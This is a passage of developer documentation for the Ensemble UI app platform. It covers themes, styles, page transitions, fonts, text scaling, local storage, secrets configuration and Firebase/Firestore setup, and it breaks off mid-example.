-**1. Tokens (Optional):** - -Tokens are named collections of values typically used for colors, fonts, and spacing. They provide a way to define reusable values across your theme and avoid code duplication. These tokens are then used inside the `Styles` with the expression syntax, for example `${Colors.gray['200']}` - -**Example:** - -```yaml -Light: - label: Light Theme - description: This theme turns everything light as in white background and is default - inheritsFrom: Common - Tokens: - Colors: - teal: - '900': '#014451' - '800': '#05505C' - '700': '#036672' - '600': '#047481' - '500': '#0694A2' - '400': '#16BDCA' - '300': '#7EDCE2' - '200': '#AFECEF' - '100': '#D5F5F6' - '50': '#EDFAFA' - Styles: - Button: - borderRadius: 20 - .submit: - backgroundColor: ${Colors.teal['800']} - labelStyle: - color: white - fontFamily: ${Typography.fontFamily} -``` - -**2. Styles (Precedence Order):** - -Styles define how different UI elements will appear. Ensemble applies styles based on their **precedence**, with higher precedence styles overriding lower ones. Here's the order of precedence, from highest to lowest: - -* **Inline Styles:** Styles defined directly on the widget using the `style` attribute. -* **Style Classes:** Styles defined in the theme and applied to a widget using the `className` attribute (space-separated list of classes). -* **ID-based Styles:** Styles defined in the theme using an ID selector (preceded by `#`). -* **Widget Type Styles:** Styles defined for a specific widget type (e.g., `Button`). - -**Example of Styles defined in a Theme:** - -```yaml -Light: - Styles: - # ID-based style - '#heading': - fontSize: 24 - fontWeight: bold - - # Widget type style - Button: - backgroundColor: ${Colors.primary} - color: white - - # Style class - .error: - color: red -``` -**Example of Inline styles and specifying classes** -```yaml -Button: - styles: - backgroundColor: red - className: commonButton submitButton #here two classes are applied in order i.e. the styles defines in the list of classes are merged in the order they are specified. -``` -**Specificity:** - -Similar to CSS, styles in Ensemble with higher specificity will override those with lower specificity. Specificity is determined by the number and type of selectors used in the style definition. Inline styles and styles specified by the ID-based styles have the highest specificity, followed by classes and then widget type styles. - -By understanding the different parts of a theme and how inheritance and specificity work, you can create well-structured, maintainable, and reusable themes for your Ensemble applications. - -## Theme Inheritance in Ensemble - -Ensemble allows you to create reusable and organized themes using inheritance, similar to how CSS works. This lets you define common styles in a base theme and then have other themes inherit and modify those styles as needed. - -### Benefits of Theme Inheritance - -* **Reduces code duplication:** Define common styles once in a base theme and avoid repeating them in other themes. -* **Improved maintainability:** Makes changes to common styles easier to manage as they are centralized in the base theme. -* **Theming hierarchy:** Build a clear hierarchy of themes, making it easier to understand how styles are applied. - -### How Inheritance Works - -1. **Base Theme:** Define a theme (e.g., `Common`) containing the styles you want to share with other themes. You can define multiple base themes -2. **Inheriting Theme:** Define another theme (e.g., `Light`) and specify the base theme it inherits from using the `inheritsFrom` property. A base theme may inherit from another theme forming a chain -3. **Overriding Styles:** The inheriting theme can override any styles from the base theme by defining the same styles with different values. - -### Example - -Here's an example demonstrating theme inheritance: - -**Common Theme:** - -```yaml -Common: - label: Common theme - Tokens: - Colors: - primary: '#0077B8' - gray: - '200': '#f2f2f2' - '300': '#e0e0e0' - Styles: - .topView: - backgroundColor: ${Colors.gray['200']} - Button: - borderRadius: 20 - backgroundColor: red -``` - -**Light Theme (inherits from Common):** - -```yaml -Light: - label: Light Theme - description: Light theme with white background - inheritsFrom: Common - Tokens: - Colors: - teal: # New color palette for Light theme - '500': '#0694A2' - Styles: - Button: - backgroundColor: ${Colors.teal['500']} # Inherits primary from Common and overrides with teal - labelStyle: - color: white -``` - -**Explanation:** - -* `Light` theme inherits styles and tokens from the `Common` theme. -* `Light` theme overrides the `backgroundColor` of the `Button` style with its own `teal` color. -* `Light` theme's `Button` inherits the `borderRadius` from `Common` theme -* Other styles from `Common` (like `.topView`) are still applied to the `Light` theme. - -This example demonstrates how you can define a common base theme and then create specific themes like `Light` and `Dark` that inherit and modify styles as needed. - - - -### Properties - -Now let us see what properties does it have on larger level - -| Property | Type | Description | -| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| material3 | boolean | If set true, material3 will be applied else material2. see [here](https://material.io/blog/migrating-material-3) for more details about Material Design 2 vs 3. | -| Text | object | [see properties](#text) | -| Colors | object | [see properties](#colors) | -| Widgets | object | [see properties](#widgets) | -| Transitions | object | [see properties](#transitions) | - -### Text - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| displayLarge | object | Largest of display styles . As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| displayMedium | object | Middle size of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| displaySmall | object | Smallest of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| headlineLarge | object | Largest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | -| headlineMedium | object | Middle size of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens.[see properties](#textstyle) | -| headlineSmall | object | Smallest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | -| titleLarge | object | Largest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text.[see properties](#textstyle) | -| titleMedium | object | Middle size of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | -| titleSmall | object | Smallest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | -| bodyLarge | object | Largest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| bodyMedium | object | Middle size of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| bodySmall | object | Smallest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| labelLarge | object | Largest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | -| labelMedium | object | Middle size of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | -| labelSmall | object | Smallest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | - -#### TextStyle - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### Colors - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| seed | string or integer | Generate color schema based on seed color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`. [more here]() | -| primary | string or integer | Primary color of your App (e.g button color, focus color, ...). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| onPrimary | string or integer | The color overlay on top of your primary color (e.g button text). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| secondary | string or integer | The Secondary color of your App. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| onSecondary | string or integer | The color overlay on top of your secondary color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabled | string or integer | Color when a widget is disabled. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| loadingScreenBackgroundColor | string or integer | The background color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| loadingScreenIndicatorColor | string or integer | The progress indicator color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### Widgets - -*All the style properties for a widget are available to you to be set as part of the theme. Following is just a sample.* - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| Input | object | [see properties](#input) Applies to all form input such as DateRange, TextInput etc| -| Button | object | [see properties](#button) | - -#### Input - -| Property | Type | Description | -| :---------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for Input widgets [see properties](#options-for-inputvariant) | -| fillColor | string or integer | The fill color for applicable input fields (TextInput, Dropdown, ...). which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for applicable Input widgets. | -| borderWidth | integer | The border width for applicable Input widgets. | -| borderColor | integer or string | The base border color for applicable input fields. This border color determines the look and feel of your inputs, while the other colors are overrides for different states, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when input fields are disabled, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on the input fields, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color of the input field when it is receiving focus | -| focusedErrorBorderColor | integer or string | The border color of the input field when it is receiving focus in its error state, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| hintStyle | object | [see properties](#textstyle) | - -#### Button - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| padding | string or integer | Padding with CSS-style value | - -#### options for Input.variant - -| Property | Description | -| :-------- | :--------------------------------------------------------- | -| underline | Draw an Underline below applicable input widgets (default) | -| box | Draw a Box border around applicable input widgets | - -### Transitions - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------- | -| page | object | [see properties](#properties-for-transitionspage) | -| modal | object | Same properties as the `page` property except `alignment`. | - -#### Properties for Transitions.page - -| Property | Type | Description | -| :-------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| type | string | Kind of transition types. Can read more about it [here](#animations-in-ensembleui). Possible values are `fade`,`rightToLeft`,`leftToRight`,`topToBottom`,`bottomToTop`,`scale`,`rotate`,`size`,`rightToLeftWithFade`,`leftToRightWithFade`,`leftToRightPop`,`rightToLeftPop`,`topToBottomPop`,`bottomToTopPop` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| duration | integer | The duration in `ms ( millisecond )` for which the transition animation happens. | - ---- - -# Animations in EnsembleUI - -Welcome to our Animations page! Here, you'll learn how to bring your website to life with stunning page transition animations. Elevate user experience and captivate your audience with smooth transitions that seamlessly guide them through your content. Get ready to add a touch of magic to your web pages with our animation techniques. - -Note: `Currently we only support page transition animations`. - -**Example** -Let us take an example of how page transition animations work. We can make it work in teo ways either at the [Screen](#page-level-code) or in the [Theme](#theme). - -#### Page Level - - - -```yaml -- Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - transition: - type: bottomToTopPop - duration: 250 # millisecond is default -``` - - - - -**Explanation** - -The `type` property under `transition` property for _NavigateScreen_ action allows you to chose kind of animation you want. There are [list](#list-of-animation-types) of options you can chose from. - -#### Theme - -We can also define animations in our App theme, here is how you can do it. You can learn more about theme [here](). - - - -```yaml -Transitions: - page: - type: size - alignment: topRight - duration: 300 # Millisecond -``` - - - - -**Explanation** - -Works similarly to page level transition in the screen but now we are defining it in [Theme]() which makes it applicable to page transitions across the whole App. - -#### List of Animation Types - -| Type | Description | -| :------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------- | -| Fade | Smoothly transition between pages with a gentle fading effect, creating a seamless and elegant user experience. | -| RightToLeft | Slide pages from right to left, providing a visually pleasing flow that guides users through your content. | -| LeftToRight | Engage users with a left-to-right animation, giving a sense of progression and intuitive navigation. | -| TopToBottom | Bring a sense of depth to your pages as they transition from top to bottom, creating a visually immersive experience. | -| BottomToTop | Enhance user engagement by animating pages from bottom to top, adding a touch of dynamism to your website. | -| Scale | Add a dramatic effect as pages smoothly scale in and out, providing a visually striking transition between content. | -| Rotate | Give your pages a unique twist as they rotate into view, creating a captivating and memorable animation. | -| Size | Play with the size of your pages as they transition, making them expand or contract for a visually engaging effect. | -| RightToLeftWithFade | Combine the sliding motion of right-to-left transition with a fading effect, adding an extra layer of elegance to your page transitions. | -| LeftToRightWithFade | Blend left-to-right motion with a fade effect, delivering a seamless and visually pleasing transition between pages. | -| LeftToRightPop | Grab attention with a pop animation that slides pages from left to right, creating a dynamic and impactful transition. | -| RightToLeftPop | Add an eye-catching pop animation to your page transitions as they slide from right to left, making a lasting impression on your users. | -| TopToBottomPop | Infuse excitement into your transitions with a pop animation that brings pages into view from top to bottom, captivating your audience. | -| BottomToTopPop | Elevate user experience with a pop animation that animates pages from bottom to top, adding a delightful touch to your website's transitions. | - ---- - -# Using Custom Fonts - -Ensemble supports Google Fonts, but you also have the option to use your own custom fonts when deploying your app with [Ensemble Starter](https://docs.ensembleui.com/#/deploy/1-prepare-app). - -### -- From the root directory of Ensemble Starter, open `pubspec.yaml`. -- Under `flutter > fonts`, add your font entry in the following format: -``` - - family: - fonts: - - asset: assets/fonts/... - weight: - style: -``` -- Add your fonts under the directory specified above (e.g. assets/fonts/). -- In your definitions, you may now reference the font specified here using `fontFamily`. -``` -Text: - text: Hello world - styles: - textStyle: - fontFamily: -``` - ---- - -# Splash Feedback (Touchable Opacity) - -The **Splash Feedback** is a visual feedback mechanism that creates a ripple or splash animation when a user interacts with a widget. This effect enhances the user experience by providing immediate visual confirmation that an action, such as a tap or click, has been recognized by the interface. - -In many user interfaces, buttons come with a default splash effect, providing instant feedback during interaction. Recognizing the value of this visual feedback, Ensemble introduces the ability to extend the splash effect to other widgets, such as rows, columns, and containers, which don't have a splash effect by default. - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/sXFnorqUvN0l9zfSnTcX) - - - -### Widget List -Following are the list of widgets that support Splash Feedback -| Widget | Documentation | Kitchen sink example | -| ------------ | -------------- | ----------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | - - - - - - - -## Enable Splash Feedback - -To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. - -```yaml -Row: - styles: - enableSplashFeedback: true - padding: 10 - borderWidth: 1 - onTap: - executeCode: - body: | - console.log("Enabled Splash Feedback") -``` - -## Splash Color - -To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. - -```yaml -Row: - styles: - enableSplashFeedback: true - padding: 10 - borderWidth: 1 - onTap: - executeCode: - body: | - console.log("Enabled Splash Feedback") -``` - -## Set max and min text scaling - -You can continue supporting text scaling, but set max and min for the scaling factor: - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: true # this is the default behavior - maxFactor: 1.2 - minFactor: 0.8 -``` - -In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. - ---- - -# Text scaling - -iOS and Android users can use the accessibility features to change the weight, size, and darkness of text to make it easier to read on their devices. - -Ensemble apps adhere to user selected preference by default. You can either disable text scaling, or set minimum and maximum factors you like to support in your app. - - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: false -``` - -## Set max and min text scaling - -You can continue supporting text scaling, but set max and min for the scaling factor: - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: true # this is the default behavior - maxFactor: 1.2 - minFactor: 0.8 -``` - -In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. - ---- - - -# Assets (images, videos, etc.) - -You can manage the assets required by your app within Ensemble Studio. These are typically files such as: - -- image files (PNGs, JPEGs, SVGs, etc.) -- video files -- audio files -- JSON source for [Lottie widget](#lottie-animation-widget) - -> [!NOTE] -> When you build and deploy your app, these assets are included in your built output. These assets are loaded instantly in iOS and Android apps instead of downloading them over the network. This approach avoides any delay in displaying the assets. - - -## Upload assets - -Navigate to your app inside Ensemble Studio. Select Assets from the left menu. Click on Add assets and upload your file. - -![add language](public/images/app-assets/assets_landing.png) - -## Reference an assets - -![add language](public/images/app-assets/assets_example.png) - -1. Click on the `...` icon of the asset. -2. Select `Copy path`. -3. Paste the path in the relevant widget. This is typically the `source` property of widgets such as Image. - ---- - -# Persistent Local Storage -You can write to or access the storage using simply `ensemble.storage`. On the browser, this uses the local storage. On the native apps, it uses the secure storage that's provided to each app by iOS and Android. This stoage is persistent i.e. the data you save will stay there until the user explicitly deletes the storage or the app. This means that you can use storage to share data among multiple screens in your app. - -Typically apps store data such as the logged-in user's information, app-level data to cache data from the backend etc. - -### Storing and Retrieving data -You can store data in the persistent storage by just using the following syntax - - -```js -ensemble.storage.myData = {name: {first:'John', last: 'Doe'}}; -``` -and to retrieve data, simply access the parameter by name. For example - -```yaml -Text: - id: nameField - text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} -``` -or in js - -```js -nameField.text = ensemble.storage.myData.name.first + ' ' + ensemble.storage.myData.name.last; -``` -You can also store and retrieve properties using the set and get methods on `ensemble.storage`. This is useful when the parameter name is dynamically calculated instead of being known in advance. - -```js -ensemble.storage.set('my'+'Data',"{name: {first:'John', last: 'Doe'}"); -//to retrieve data -var myData = ensemble.storage.get('my'+'Data'); -``` -If the parameter with the same name already exists in the storage, it's value will be overwritten by the new value being set. - -### Checking if something is in storage -You can check in two ways, either by directly accessing the parameter by name or by using the `get` method and checking for null. - -```js -if ( ensemble.storage.myData != null ) { - //do something -} -``` - -### Deleting data in storage -You can set the parameter to null to remove its value. However if you want to entirely delete it from storage, call the `delete` method. - -```js -ensemble.storage.delete('myData'); //this will remove value referenced by myData and the myData as the key. -``` - -### Binding to the data in storage -One of the most powerful features of the Ensemble platform is the data binding. It allows you to significiantly reduce the amount of code you have to write and the ensuing complexity by just binding your widgets to the APIs or Storage. - -Here we will discuss binding to the `ensemble.storage`. When you `bind` a widget to something, the widget gets updated automatically when the thing it is bound to changes. - -For example, in the following yaml, `nameField.text` is bound to data in the storage. -```yaml -Text: - id: nameField - text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} -``` -Now somewhere else (mostly in API responses), if you update the `myData` in storage, the `nameField.text` will automatically get the new value without you having to do anything. - -```yaml -API: - getDataFromServer: - url: 'https://myapp.com/data' - onResponse: |- - ensemble.storage.myData = response.data; //this will update all the fields that are bound to this parameter in storage -``` -### Manually triggering binding updates -Updates due to bindings to the storage are triggered only when you set a parameter on the storage directly. - -For example, the following triggers the binding and updates all the fields that are bound to ensemble.storage.myData -```js -ensemble.storage.myData = {name: {first:'John', last: 'Doe'}; -``` -However, if you are manipulating the data that is not directly stored in the `ensemble.storage`, it won't trigger binding. -```js -ensemble.storage.myData.name.first = 'Jane'; //will NOT trigger binding and the `nameField.text` will NOT be updated. -``` -To solve this issue, we set storage parameter back to itself to trigger the update. After doing all the manipulations to myData, set it back to itself -```js -ensemble.storage.myData = ensemble.storage.myData; //this will now update nameField.text and any other fields listening for this change -``` - ---- - -# App Settings - -Navigate to your app in Ensemble Studio to use the following settings: - -1. [Environment variables](#environment-variables) -2. [Secrets](#secrets) - -## Environment variables - -Add variables you intend to use throughout your app here. We recommend to use this for: - -- API endpoints -- 3rd-party service variables, such as service configs and URLs - -### Using environment variables - -Throughout your app, you can reference the environment variable with `${env.key_name}`. For instance, the API definitions can reference a variable: - -```yaml -API: - getUser: - url: ${env.apiEndpoint} - method: GET -``` - -## Secrets - -Your app may require using sensitive values for managing access to remote data. Ensemble supports configuring development secrets easily and securely during runtime, and the ability to inject separate production secrets when deploying. - -Add Secret - -Only application owners and editors can add or change secret values due to their sensitive nature. - -### Using secrets - -Any screens can reference the variable with `${secrets.key_name}`. Here we are simply displaying the secret value in a text field. - -Use Secret - -### Inject production secrets for deployment - -You can override your secrets for deployment from the .env file in your Ensemble project by using the same key with a different value. - -We do not recommend version controlling your .env file as this will expose your secrets. Consider removing your .env file from version control or injecting secrets at build time. - ---- - - -# Configuration of Firebase Project with Ensemble App - -Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, -improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. -⁤Now, let's dive into the configuration steps: - - -## Prerequisites -Before we start configuration, ensure that we have the following in place: -1. Ensemble project to integrate with Firebase. -2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. - -## 1. Registering our App with Firebase - -Firebase supports integration with various app platforms. Here's a breakdown for each platform: - -![All Apps](public/images/firebase/addApp.png) -#### Android - -- Click the Android icon(looks like a little robot) to start the setup. -- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! - -> [!NOTE] -> To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). - -- Click "Register app" to complete this step. -- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. - - -#### iOS - -- Click the Apple icon to start the setup. -- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! - -> [!NOTE] -> To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). - -- Click "Register app" to complete this step. -- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. - -#### Web - -- Click the Web icon(looks like a globe) to start the setup. -- Give our web app a nickname(this is just for us to see in the Firebase console). -- Click "Register app" to complete this step. -- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. - -![All Apps](public/images/firebase/allApps.png) - -## 2. Configure Ensemble app -Now that we've registered our app with Firebase and downloaded the configuration files, -it's time to establish the connection within our Ensemble project. -#### Make a Configuration File - -The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file -acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: - -```yaml -{ - "web": { - # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. - }, - "android": { - "apiKey": # In google-services.json, take value of client.api_key.current_key, - "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, - "messagingSenderId": # In google-services.json, take value of project_info.project_number, - "projectId": # In google-services.json, take value of project_info.project_id, - "storageBucket": # In google-services.json, take value of project_info.storage_bucket - }, - "ios": { - "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, - "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, - "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, - "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, - "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, - "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID - } -} -``` -After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: - -![Configuration File](public/images/firebase/configfile.png) - -#### Update Environmental Variables - -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: -- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. -- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. - -![Environment Variables](public/images/firebase/envVari.png) - -By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. - ---- - - -# Calling Cloud Firestore APIs - -[Cloud Firestore](https://firebase.google.com/docs/firestore) is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Ensemble platform provides a deep integration with the Firestore DB and allows you to call operations on your data in Firestore effortlessly. - -Unlike traditional relational databases, Firestore offers a document-based structure well-suited for storing and managing various data types within oour app. Firestore is a great choice for Ensemble applications because it provides simplified data modeling, Offline Persistence, Real-time Updates, and API Convenience to interact with data.⁤ - -Now, let's dive into performing basic operations on our Firestore database: - -> [!NOTE] -> Operations on Firestore won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it [here](pages/firebase/configuration.mdx). - -- To get hands-on experience with firestore operations, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) - -## Firestore Data types - -### Timestamp -Following methods are available for Firestore's Timestamp type. - -#### Timestamp.now() -Static method. Returns a Timestamp representing the current time. - -Example -```js -var currentTimestamp = Timestamp.now(); -console.log(currentTimestamp); -``` -#### Timestamp.fromDate(date) -Static method. Creates a Timestamp from a JavaScript [Date](https://docs.ensembleui.com/javascript-reference/Date) object. -Example -```js -var specificDate = new Date('2024-08-05T12:34:56Z'); -var specificTimestamp = Timestamp.fromDate(specificDate); -console.log(specificTimestamp); -``` - -#### Timestamp.fromMillis(milliseconds) -Static method. Creates a Timestamp from a given number of milliseconds since the Unix epoch (January 1, 1970). - -Example -```js -var milliseconds = 